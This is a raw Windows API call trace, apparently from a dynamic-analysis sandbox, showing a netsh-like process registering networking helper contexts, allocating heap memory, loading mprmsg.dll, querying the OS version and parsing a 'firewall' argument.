	[0252.582] _wcsicmp (_String1="wfp", _String2="ras") returned 5
	[0252.582] _wcsicmp (_String1="wfp", _String2="trace") returned 3
	[0252.582] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22
	[0252.582] _wcsicmp (_String1="wfp", _String2="bridge") returned 21
	[0252.582] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19
	[0252.582] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19
	[0252.582] _wcsicmp (_String1="wfp", _String2="firewall") returned 17
	[0252.582] _wcsicmp (_String1="wfp", _String2="http") returned 15
	[0252.582] _wcsicmp (_String1="wfp", _String2="interface") returned 14
	[0252.582] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14
	[0252.582] _wcsicmp (_String1="wfp", _String2="lan") returned 11
	[0252.582] _wcsicmp (_String1="wfp", _String2="namespace") returned 9
	[0252.582] _wcsicmp (_String1="wfp", _String2="netio") returned 9
	[0252.582] _wcsicmp (_String1="wfp", _String2="ras") returned 5
	[0252.582] _wcsicmp (_String1="wfp", _String2="trace") returned 3
	[0252.582] GetProcessHeap () returned 0x1e025de0000
	[0252.582] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x620) returned 0x1e025e30590
	[0252.583] GetProcessHeap () returned 0x1e025de0000
	[0252.583] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e376c0) returned 1
	[0252.583] RegisterContext () returned 0x0
	[0252.583] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15
	[0252.583] _wcsicmp (_String1="p2p", _String2="bridge") returned 14
	[0252.583] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12
	[0252.583] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12
	[0252.584] _wcsicmp (_String1="p2p", _String2="firewall") returned 10
	[0252.584] _wcsicmp (_String1="p2p", _String2="http") returned 8
	[0252.584] _wcsicmp (_String1="p2p", _String2="interface") returned 7
	[0252.584] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7
	[0252.584] _wcsicmp (_String1="p2p", _String2="lan") returned 4
	[0252.584] _wcsicmp (_String1="p2p", _String2="namespace") returned 2
	[0252.584] _wcsicmp (_String1="p2p", _String2="netio") returned 2
	[0252.584] _wcsicmp (_String1="p2p", _String2="ras") returned -2
	[0252.584] _wcsicmp (_String1="p2p", _String2="trace") returned -4
	[0252.584] _wcsicmp (_String1="p2p", _String2="wfp") returned -7
	[0252.584] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15
	[0252.584] _wcsicmp (_String1="p2p", _String2="bridge") returned 14
	[0252.584] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12
	[0252.584] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12
	[0252.584] _wcsicmp (_String1="p2p", _String2="firewall") returned 10
	[0252.584] _wcsicmp (_String1="p2p", _String2="http") returned 8
	[0252.584] _wcsicmp (_String1="p2p", _String2="interface") returned 7
	[0252.584] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7
	[0252.584] _wcsicmp (_String1="p2p", _String2="lan") returned 4
	[0252.584] _wcsicmp (_String1="p2p", _String2="namespace") returned 2
	[0252.584] _wcsicmp (_String1="p2p", _String2="netio") returned 2
	[0252.584] _wcsicmp (_String1="p2p", _String2="ras") returned -2
	[0252.584] GetProcessHeap () returned 0x1e025de0000
	[0252.584] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x690) returned 0x1e025e42f80
	[0252.584] GetProcessHeap () returned 0x1e025de0000
	[0252.584] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30590) returned 1
	[0252.584] RegisterContext () returned 0x0
	[0252.584] GetProcessHeap () returned 0x1e025de0000
	[0252.584] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.584] GetProcessHeap () returned 0x1e025de0000
	[0252.584] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.590] RegisterContext () returned 0x0
	[0252.590] _wcsicmp (_String1="group", _String2="pnrp") returned -9
	[0252.590] _wcsicmp (_String1="group", _String2="pnrp") returned -9
	[0252.590] GetProcessHeap () returned 0x1e025de0000
	[0252.590] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025e31df0
	[0252.590] GetProcessHeap () returned 0x1e025de0000
	[0252.590] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.591] RegisterContext () returned 0x0
	[0252.591] _wcsicmp (_String1="idmgr", _String2="group") returned 2
	[0252.591] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7
	[0252.591] _wcsicmp (_String1="idmgr", _String2="group") returned 2
	[0252.591] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e08110
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31df0) returned 1
	[0252.591] RegisterContext () returned 0x0
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.591] RegisterContext () returned 0x0
	[0252.591] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1
	[0252.591] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xe0) returned 0x1e025e31df0
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11c10) returned 1
	[0252.591] RegisterContext () returned 0x0
	[0252.591] _wcsicmp (_String1="peer", _String2="cloud") returned 13
	[0252.591] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12
	[0252.591] _wcsicmp (_String1="peer", _String2="cloud") returned 13
	[0252.591] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x150) returned 0x1e025e33530
	[0252.591] GetProcessHeap () returned 0x1e025de0000
	[0252.591] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e31df0) returned 1
	[0252.592] RegisterContext () returned 0x0
	[0252.592] GetProcessHeap () returned 0x1e025de0000
	[0252.592] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e33690
	[0252.592] GetProcessHeap () returned 0x1e025de0000
	[0252.592] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.592] RegisterContext () returned 0x0
	[0252.592] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17
	[0252.592] _wcsicmp (_String1="rpc", _String2="bridge") returned 16
	[0252.592] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14
	[0252.592] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14
	[0252.592] _wcsicmp (_String1="rpc", _String2="firewall") returned 12
	[0252.592] _wcsicmp (_String1="rpc", _String2="http") returned 10
	[0252.592] _wcsicmp (_String1="rpc", _String2="interface") returned 9
	[0252.592] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9
	[0252.592] _wcsicmp (_String1="rpc", _String2="lan") returned 6
	[0252.592] _wcsicmp (_String1="rpc", _String2="namespace") returned 4
	[0252.592] _wcsicmp (_String1="rpc", _String2="netio") returned 4
	[0252.592] _wcsicmp (_String1="rpc", _String2="p2p") returned 2
	[0252.592] _wcsicmp (_String1="rpc", _String2="ras") returned 15
	[0252.592] _wcsicmp (_String1="rpc", _String2="trace") returned -2
	[0252.592] _wcsicmp (_String1="rpc", _String2="wfp") returned -5
	[0252.592] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17
	[0252.592] _wcsicmp (_String1="rpc", _String2="bridge") returned 16
	[0252.592] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14
	[0252.592] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14
	[0252.592] _wcsicmp (_String1="rpc", _String2="firewall") returned 12
	[0252.592] _wcsicmp (_String1="rpc", _String2="http") returned 10
	[0252.592] _wcsicmp (_String1="rpc", _String2="interface") returned 9
	[0252.592] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9
	[0252.595] _wcsicmp (_String1="rpc", _String2="lan") returned 6
	[0252.595] _wcsicmp (_String1="rpc", _String2="namespace") returned 4
	[0252.595] _wcsicmp (_String1="rpc", _String2="netio") returned 4
	[0252.595] _wcsicmp (_String1="rpc", _String2="p2p") returned 2
	[0252.595] _wcsicmp (_String1="rpc", _String2="ras") returned 15
	[0252.595] _wcsicmp (_String1="rpc", _String2="trace") returned -2
	[0252.595] GetProcessHeap () returned 0x1e025de0000
	[0252.595] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x700) returned 0x1e025e43620
	[0252.595] GetProcessHeap () returned 0x1e025de0000
	[0252.595] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e42f80) returned 1
	[0252.595] RegisterContext () returned 0x0
	[0252.595] GetProcessHeap () returned 0x1e025de0000
	[0252.595] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025e11c10
	[0252.595] GetProcessHeap () returned 0x1e025de0000
	[0252.595] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.595] RegisterContext () returned 0x0
	[0252.595] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22
	[0252.595] _wcsicmp (_String1="wcn", _String2="bridge") returned 21
	[0252.595] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19
	[0252.595] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19
	[0252.595] _wcsicmp (_String1="wcn", _String2="firewall") returned 17
	[0252.595] _wcsicmp (_String1="wcn", _String2="http") returned 15
	[0252.595] _wcsicmp (_String1="wcn", _String2="interface") returned 14
	[0252.595] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14
	[0252.596] _wcsicmp (_String1="wcn", _String2="lan") returned 11
	[0252.596] _wcsicmp (_String1="wcn", _String2="namespace") returned 9
	[0252.596] _wcsicmp (_String1="wcn", _String2="netio") returned 9
	[0252.596] _wcsicmp (_String1="wcn", _String2="p2p") returned 7
	[0252.596] _wcsicmp (_String1="wcn", _String2="ras") returned 5
	[0252.596] _wcsicmp (_String1="wcn", _String2="rpc") returned 5
	[0252.596] _wcsicmp (_String1="wcn", _String2="trace") returned 3
	[0252.596] _wcsicmp (_String1="wcn", _String2="wfp") returned -3
	[0252.596] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22
	[0252.596] _wcsicmp (_String1="wcn", _String2="bridge") returned 21
	[0252.596] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19
	[0252.596] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19
	[0252.596] _wcsicmp (_String1="wcn", _String2="firewall") returned 17
	[0252.596] _wcsicmp (_String1="wcn", _String2="http") returned 15
	[0252.596] _wcsicmp (_String1="wcn", _String2="interface") returned 14
	[0252.596] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14
	[0252.596] _wcsicmp (_String1="wcn", _String2="lan") returned 11
	[0252.596] _wcsicmp (_String1="wcn", _String2="namespace") returned 9
	[0252.596] _wcsicmp (_String1="wcn", _String2="netio") returned 9
	[0252.596] _wcsicmp (_String1="wcn", _String2="p2p") returned 7
	[0252.596] _wcsicmp (_String1="wcn", _String2="ras") returned 5
	[0252.596] _wcsicmp (_String1="wcn", _String2="rpc") returned 5
	[0252.596] _wcsicmp (_String1="wcn", _String2="trace") returned 3
	[0252.596] _wcsicmp (_String1="wcn", _String2="wfp") returned -3
	[0252.596] GetProcessHeap () returned 0x1e025de0000
	[0252.596] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x770) returned 0x1e025e30590
	[0252.597] GetProcessHeap () returned 0x1e025de0000
	[0252.597] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e43620) returned 1
	[0252.597] RegisterContext () returned 0x0
	[0252.597] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22
	[0252.597] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21
	[0252.597] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19
	[0252.597] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19
	[0252.597] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17
	[0252.597] _wcsicmp (_String1="winhttp", _String2="http") returned 15
	[0252.597] _wcsicmp (_String1="winhttp", _String2="interface") returned 14
	[0252.597] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14
	[0252.597] _wcsicmp (_String1="winhttp", _String2="lan") returned 11
	[0252.597] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9
	[0252.597] _wcsicmp (_String1="winhttp", _String2="netio") returned 9
	[0252.597] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7
	[0252.597] _wcsicmp (_String1="winhttp", _String2="ras") returned 5
	[0252.597] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5
	[0252.597] _wcsicmp (_String1="winhttp", _String2="trace") returned 3
	[0252.597] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6
	[0252.597] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3
	[0252.597] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22
	[0252.597] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21
	[0252.597] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19
	[0252.597] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19
	[0252.597] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17
	[0252.597] _wcsicmp (_String1="winhttp", _String2="http") returned 15
	[0252.597] _wcsicmp (_String1="winhttp", _String2="interface") returned 14
	[0252.597] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14
	[0252.597] _wcsicmp (_String1="winhttp", _String2="lan") returned 11
	[0252.597] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9
	[0252.597] _wcsicmp (_String1="winhttp", _String2="netio") returned 9
	[0252.597] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7
	[0252.597] _wcsicmp (_String1="winhttp", _String2="ras") returned 5
	[0252.598] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5
	[0252.598] _wcsicmp (_String1="winhttp", _String2="trace") returned 3
	[0252.598] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6
	[0252.598] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3
	[0252.598] GetProcessHeap () returned 0x1e025de0000
	[0252.598] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x7e0) returned 0x1e025e42f80
	[0252.598] GetProcessHeap () returned 0x1e025de0000
	[0252.598] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30590) returned 1
	[0252.598] RegisterContext () returned 0x0
	[0252.598] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22
	[0252.598] _wcsicmp (_String1="wlan", _String2="bridge") returned 21
	[0252.598] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19
	[0252.598] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19
	[0252.598] _wcsicmp (_String1="wlan", _String2="firewall") returned 17
	[0252.598] _wcsicmp (_String1="wlan", _String2="http") returned 15
	[0252.598] _wcsicmp (_String1="wlan", _String2="interface") returned 14
	[0252.598] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14
	[0252.598] _wcsicmp (_String1="wlan", _String2="lan") returned 11
	[0252.598] _wcsicmp (_String1="wlan", _String2="namespace") returned 9
	[0252.598] _wcsicmp (_String1="wlan", _String2="netio") returned 9
	[0252.598] _wcsicmp (_String1="wlan", _String2="p2p") returned 7
	[0252.598] _wcsicmp (_String1="wlan", _String2="ras") returned 5
	[0252.598] _wcsicmp (_String1="wlan", _String2="rpc") returned 5
	[0252.598] _wcsicmp (_String1="wlan", _String2="trace") returned 3
	[0252.598] _wcsicmp (_String1="wlan", _String2="wcn") returned 9
	[0252.598] _wcsicmp (_String1="wlan", _String2="wfp") returned 6
	[0252.598] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3
	[0252.598] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22
	[0252.598] _wcsicmp (_String1="wlan", _String2="bridge") returned 21
	[0252.598] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19
	[0252.598] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19
	[0252.598] _wcsicmp (_String1="wlan", _String2="firewall") returned 17
	[0252.599] _wcsicmp (_String1="wlan", _String2="http") returned 15
	[0252.599] _wcsicmp (_String1="wlan", _String2="interface") returned 14
	[0252.599] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14
	[0252.599] _wcsicmp (_String1="wlan", _String2="lan") returned 11
	[0252.599] _wcsicmp (_String1="wlan", _String2="namespace") returned 9
	[0252.599] _wcsicmp (_String1="wlan", _String2="netio") returned 9
	[0252.599] _wcsicmp (_String1="wlan", _String2="p2p") returned 7
	[0252.599] _wcsicmp (_String1="wlan", _String2="ras") returned 5
	[0252.599] _wcsicmp (_String1="wlan", _String2="rpc") returned 5
	[0252.599] _wcsicmp (_String1="wlan", _String2="trace") returned 3
	[0252.599] _wcsicmp (_String1="wlan", _String2="wcn") returned 9
	[0252.599] _wcsicmp (_String1="wlan", _String2="wfp") returned 6
	[0252.599] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3
	[0252.599] GetProcessHeap () returned 0x1e025de0000
	[0252.599] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x850) returned 0x1e025e43770
	[0252.599] GetProcessHeap () returned 0x1e025de0000
	[0252.599] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e42f80) returned 1
	[0252.599] RegisterContext () returned 0x0
	[0252.599] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22
	[0252.599] _wcsicmp (_String1="winsock", _String2="bridge") returned 21
	[0252.599] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19
	[0252.599] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19
	[0252.599] _wcsicmp (_String1="winsock", _String2="firewall") returned 17
	[0252.599] _wcsicmp (_String1="winsock", _String2="http") returned 15
	[0252.599] _wcsicmp (_String1="winsock", _String2="interface") returned 14
	[0252.599] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14
	[0252.599] _wcsicmp (_String1="winsock", _String2="lan") returned 11
	[0252.599] _wcsicmp (_String1="winsock", _String2="namespace") returned 9
	[0252.599] _wcsicmp (_String1="winsock", _String2="netio") returned 9
	[0252.599] _wcsicmp (_String1="winsock", _String2="p2p") returned 7
	[0252.599] _wcsicmp (_String1="winsock", _String2="ras") returned 5
	[0252.599] _wcsicmp (_String1="winsock", _String2="rpc") returned 5
	[0252.600] _wcsicmp (_String1="winsock", _String2="trace") returned 3
	[0252.600] _wcsicmp (_String1="winsock", _String2="wcn") returned 6
	[0252.600] _wcsicmp (_String1="winsock", _String2="wfp") returned 3
	[0252.600] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11
	[0252.600] _wcsicmp (_String1="winsock", _String2="wlan") returned -3
	[0252.600] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22
	[0252.600] _wcsicmp (_String1="winsock", _String2="bridge") returned 21
	[0252.600] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19
	[0252.600] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19
	[0252.600] _wcsicmp (_String1="winsock", _String2="firewall") returned 17
	[0252.600] _wcsicmp (_String1="winsock", _String2="http") returned 15
	[0252.600] _wcsicmp (_String1="winsock", _String2="interface") returned 14
	[0252.600] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14
	[0252.600] _wcsicmp (_String1="winsock", _String2="lan") returned 11
	[0252.600] _wcsicmp (_String1="winsock", _String2="namespace") returned 9
	[0252.600] _wcsicmp (_String1="winsock", _String2="netio") returned 9
	[0252.600] _wcsicmp (_String1="winsock", _String2="p2p") returned 7
	[0252.600] _wcsicmp (_String1="winsock", _String2="ras") returned 5
	[0252.600] _wcsicmp (_String1="winsock", _String2="rpc") returned 5
	[0252.600] _wcsicmp (_String1="winsock", _String2="trace") returned 3
	[0252.600] _wcsicmp (_String1="winsock", _String2="wcn") returned 6
	[0252.600] _wcsicmp (_String1="winsock", _String2="wfp") returned 3
	[0252.600] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11
	[0252.600] _wcsicmp (_String1="winsock", _String2="wlan") returned -3
	[0252.600] GetProcessHeap () returned 0x1e025de0000
	[0252.600] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8c0) returned 0x1e025e30590
	[0252.600] GetProcessHeap () returned 0x1e025de0000
	[0252.600] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e43770) returned 1
	[0252.600] RegisterContext () returned 0x0
	[0252.600] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12
	[0252.600] _wcsicmp (_String1="mbn", _String2="bridge") returned 11
	[0252.600] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9
	[0252.601] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9
	[0252.601] _wcsicmp (_String1="mbn", _String2="firewall") returned 7
	[0252.601] _wcsicmp (_String1="mbn", _String2="http") returned 5
	[0252.601] _wcsicmp (_String1="mbn", _String2="interface") returned 4
	[0252.601] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4
	[0252.601] _wcsicmp (_String1="mbn", _String2="lan") returned 1
	[0252.601] _wcsicmp (_String1="mbn", _String2="namespace") returned -1
	[0252.601] _wcsicmp (_String1="mbn", _String2="netio") returned -1
	[0252.601] _wcsicmp (_String1="mbn", _String2="p2p") returned -3
	[0252.601] _wcsicmp (_String1="mbn", _String2="ras") returned -5
	[0252.601] _wcsicmp (_String1="mbn", _String2="rpc") returned -5
	[0252.601] _wcsicmp (_String1="mbn", _String2="trace") returned -7
	[0252.601] _wcsicmp (_String1="mbn", _String2="wcn") returned -10
	[0252.601] _wcsicmp (_String1="mbn", _String2="wfp") returned -10
	[0252.601] _wcsicmp (_String1="mbn", _String2="winhttp") returned -10
	[0252.601] _wcsicmp (_String1="mbn", _String2="winsock") returned -10
	[0252.601] _wcsicmp (_String1="mbn", _String2="wlan") returned -10
	[0252.601] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12
	[0252.601] _wcsicmp (_String1="mbn", _String2="bridge") returned 11
	[0252.601] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9
	[0252.601] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9
	[0252.601] _wcsicmp (_String1="mbn", _String2="firewall") returned 7
	[0252.606] _wcsicmp (_String1="mbn", _String2="http") returned 5
	[0252.606] _wcsicmp (_String1="mbn", _String2="interface") returned 4
	[0252.606] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4
	[0252.606] _wcsicmp (_String1="mbn", _String2="lan") returned 1
	[0252.606] _wcsicmp (_String1="mbn", _String2="namespace") returned -1
	[0252.606] GetProcessHeap () returned 0x1e025de0000
	[0252.606] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x930) returned 0x1e025e42f80
	[0252.606] GetProcessHeap () returned 0x1e025de0000
	[0252.606] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e30590) returned 1
	[0252.913] RegisterContext () returned 0x0
	[0252.913] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1
	[0252.913] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8
	[0252.913] _wcsicmp (_String1="branchcache", _String2="dhcpclient") returned -2
	[0252.913] _wcsicmp (_String1="branchcache", _String2="dnsclient") returned -2
	[0252.913] _wcsicmp (_String1="branchcache", _String2="firewall") returned -4
	[0252.914] _wcsicmp (_String1="branchcache", _String2="http") returned -6
	[0252.914] _wcsicmp (_String1="branchcache", _String2="interface") returned -7
	[0252.914] _wcsicmp (_String1="branchcache", _String2="ipsec") returned -7
	[0252.914] _wcsicmp (_String1="branchcache", _String2="lan") returned -10
	[0252.914] _wcsicmp (_String1="branchcache", _String2="mbn") returned -11
	[0252.914] _wcsicmp (_String1="branchcache", _String2="namespace") returned -12
	[0252.914] _wcsicmp (_String1="branchcache", _String2="netio") returned -12
	[0252.914] _wcsicmp (_String1="branchcache", _String2="p2p") returned -14
	[0252.914] _wcsicmp (_String1="branchcache", _String2="ras") returned -16
	[0252.914] _wcsicmp (_String1="branchcache", _String2="rpc") returned -16
	[0252.914] _wcsicmp (_String1="branchcache", _String2="trace") returned -18
	[0252.914] _wcsicmp (_String1="branchcache", _String2="wcn") returned -21
	[0252.914] _wcsicmp (_String1="branchcache", _String2="wfp") returned -21
	[0252.914] _wcsicmp (_String1="branchcache", _String2="winhttp") returned -21
	[0252.914] _wcsicmp (_String1="branchcache", _String2="winsock") returned -21
	[0252.914] _wcsicmp (_String1="branchcache", _String2="wlan") returned -21
	[0252.914] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1
	[0252.914] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8
	[0252.914] GetProcessHeap () returned 0x1e025de0000
	[0252.914] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x9a0) returned 0x1e025e37fd0
	[0252.914] GetProcessHeap () returned 0x1e025de0000
	[0252.914] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e42f80) returned 1
	[0252.914] RegisterContext () returned 0x0
	[0252.914] GetProcessHeap () returned 0x1e025de0000
	[0252.914] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x70) returned 0x1e025de53e0
	[0252.914] GetProcessHeap () returned 0x1e025de0000
	[0252.914] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x0) returned 1
	[0252.914] LoadLibraryExW (lpLibFileName="mprmsg.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff843d70000
	[0252.919] GetProcAddress (hModule=0x7ff843d70000, lpProcName="MprmsgGetErrorString") returned 0x7ff843d71040
	[0252.919] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b4598410, Add=1) returned 1
	[0252.919] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0252.952] _wcsicmp (_String1="firewall", _String2="-?") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-h") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="?") returned 39
	[0252.952] _wcsicmp (_String1="firewall", _String2="/?") returned 55
	[0252.952] _wcsicmp (_String1="firewall", _String2="-v") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-a") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-c") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-f") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-r") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-u") returned 57
	[0252.952] _wcsicmp (_String1="firewall", _String2="-p") returned 57
	[0252.952] GetVersionExW (in: lpVersionInformation=0x211777a80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x211777a80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0252.952] _vsnwprintf (in: _Buffer=0x7ff7b45a7ca0, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0x211777a48 | out: _Buffer="10.0.15063") returned 10
	[0252.952] _vsnwprintf (in: _Buffer=0x7ff7b45a7eb0, _BufferCount=0x103, _Format="%d", _ArgList=0x211777a48 | out: _Buffer="15063") returned 5
	[0252.952] _vsnwprintf (in: _Buffer=0x7ff7b45a80c0, _BufferCount=0x103, _Format="%d", _ArgList=0x211777a48 | out: _Buffer="0") returned 1
	[0252.952] _vsnwprintf (in: _Buffer=0x7ff7b45a82d0, _BufferCount=0x103, _Format="%d", _ArgList=0x211777a48 | out: _Buffer="0") returned 1
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2dbd0
	[0252.953] GetProcessHeap () returned 0x1e025de0000
	[0252.953] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e2d950
	[0252.953] GetProcessHeap () returned 0x1e025de0000
